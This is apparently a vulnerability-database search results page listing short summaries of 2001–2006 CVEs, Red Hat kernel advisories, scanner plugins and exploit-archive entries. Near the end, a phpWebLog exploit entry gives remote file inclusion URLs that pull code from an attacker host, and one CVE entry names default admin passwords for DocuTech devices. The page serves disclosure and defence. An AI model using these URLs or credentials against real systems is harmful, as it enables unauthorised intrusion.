2870 matches found
CVE-2006-2223
Removed by vendor...
Double free
Double free vulnerability in the authentication and authentication token alteration code in PAM-MySQL 0.6.x before 0.6.2 and 0.7.x before 0.7pre3 allows remote attackers to cause a denial of service application crash and possibly execute arbitrary code via crafted passwords, which lead to a doubl...
RHEL 2.1 : kernel (RHSA-2006:0191)
Updated kernel packages that fix a number of security issues as well as other bugs are now available for Red Hat Enterprise Linux 2.1 32 bit architectures This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the...
Important: Red Hat Security Advisory: kernel security update
Updated kernel packages that fix a number of security issues as well as other bugs are now available for Red Hat Enterprise Linux 2.1 64 bit architectures. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the...
RHEL 3 : kernel (RHSA-2006:0140)
Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 3 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the basic functions of the operating syste...
Important: Red Hat Security Advisory: kernel security update
Updated kernel packages that fix several security issues in the Red Hat Enterprise Linux 3 kernel are now available. This security advisory has been rated as having important security impact by the Red Hat Security Response Team. The Linux kernel handles the basic functions of the operating syste...
[Full-disclosure] Symantec Antivirus Library Remote Heap Overflows
Date December 20, 2005 Vulnerability The Symantec Antivirus Library provides file format support for virus analysis. During decompression of RAR files Symantec is vulnerable to multiple heap overflows allowing attackers complete control of the systems being protected. These vulnerabilities can be...
Check Point VPN-1 SecureClient 4.0 4.1 - Policy Bypass
Check Point VPN-1 SecureClient 4.0 4.1 - Policy Bypass source: https://www.securityfocus.com/bid/15757/info VPN-1 SecureClient is reported prone to a policy bypass vulnerability. This issue is due to a failure of the application to securely implement remote administrator-provided policies on...
CVE-2005-3997
Zen Cart 1.2.6d and earlier, under certain PHP configurations, allows remote attackers to obtain sensitive information via direct requests to files in the admin/includes directory, including 1 graphs/bannerdaily.php, 2 graphs/bannerinfobox.php, 3 graphs/banneryearly.php, 4 graphs/bannermonthly.ph...
CVE-2005-3997
CVE-2005-3997 (Zen Cart) affects Zen Cart 1.2.6d and earlier. Under certain PHP configurations, remote attackers can obtain sensitive information by directly requesting files in admin/includes, leaking the web server path in error messages. Affected files include: graphs/banner_daily.php, graphs/...
CVE-2005-3997
Zen Cart 1.2.6d and earlier, under certain PHP configurations, allows remote attackers to obtain sensitive information via direct requests to files in the admin/includes directory, including 1 graphs/bannerdaily.php, 2 graphs/bannerinfobox.php, 3 graphs/banneryearly.php, 4 graphs/bannermonthly.ph...
GLSA-200511-08 : PHP: Multiple vulnerabilities
The remote host is affected by the vulnerability described in GLSA-200511-08 PHP: Multiple vulnerabilities Multiple vulnerabilities have been found and fixed in PHP: a possible $GLOBALS variable overwrite problem through file upload handling, extract and importrequestvariables CVE-2005-3390 a loc...
Fedora Core 4 : openldap-2.2.29-1.FC4 (2005-992)
This is an experimental upgrade of OpenLDAP to 2.2.29 for FC4. Before I push it to final, I need some confirmation that upgrading to it will not break existing configurations. If I don't hear any objections, I should push it to final in a week or so. Note that Tenable Network Security has extract...
Unprotected Netware Management Portal
The Netware Management Portal software is running on this machine. The Portal allows anyone to view the current server configuration and locate other Portal servers on the network. It is possible to browse the server's filesystem by requesting the volume in the URL. However, a valid user account ...
Login configurations
Provide the username/password for the common services: HTTP, FTP, NNTP, POP2, POP3, IMAP and SMB NetBios. SPDX-FileCopyrightText: 2005 Georges Dagousset Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifie...
CVE-2002-1833
The default configurations for DocuTech 6110 and DocuTech 6115 have a default administrative password of 1 "service!" on Solaris 8.0 or 2 "administ" on Windows NT, which allows remote attackers to gain privileges...
Exploit Labs Security Advisory 2005.6
------------------------------------------------------------ - EXPL-A-2005-006 exploitlabs.com Advisory 034 - ------------------------------------------------------------ - XAMPP - OVERVIEW ======== XAMPP is an easy to install Apache distribution containing MySQL, PHP and Perl. XAMPP is really ve...
CVE-2001-1426
Affected product: Alcatel Speed Touch with firmware KHDSAA.108 and KHDSAA.132–KHDSAA.134. Vulnerability: TFTP server runs without a password, enabling remote modification of firmware versions or device configurations. Root cause: insecure TFTP service exposed on the device. Impact: allows uninten...
CVE-2001-1426
Alcatel Speed Touch running firmware KHDSAA.108 and KHDSAA.132 through KHDSAA.134 has a TFTP server running without a password, which allows remote attackers to change firmware versions or the device's configurations...
phpWebLog 0.5.3 - Arbitrary File Inclusion
Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...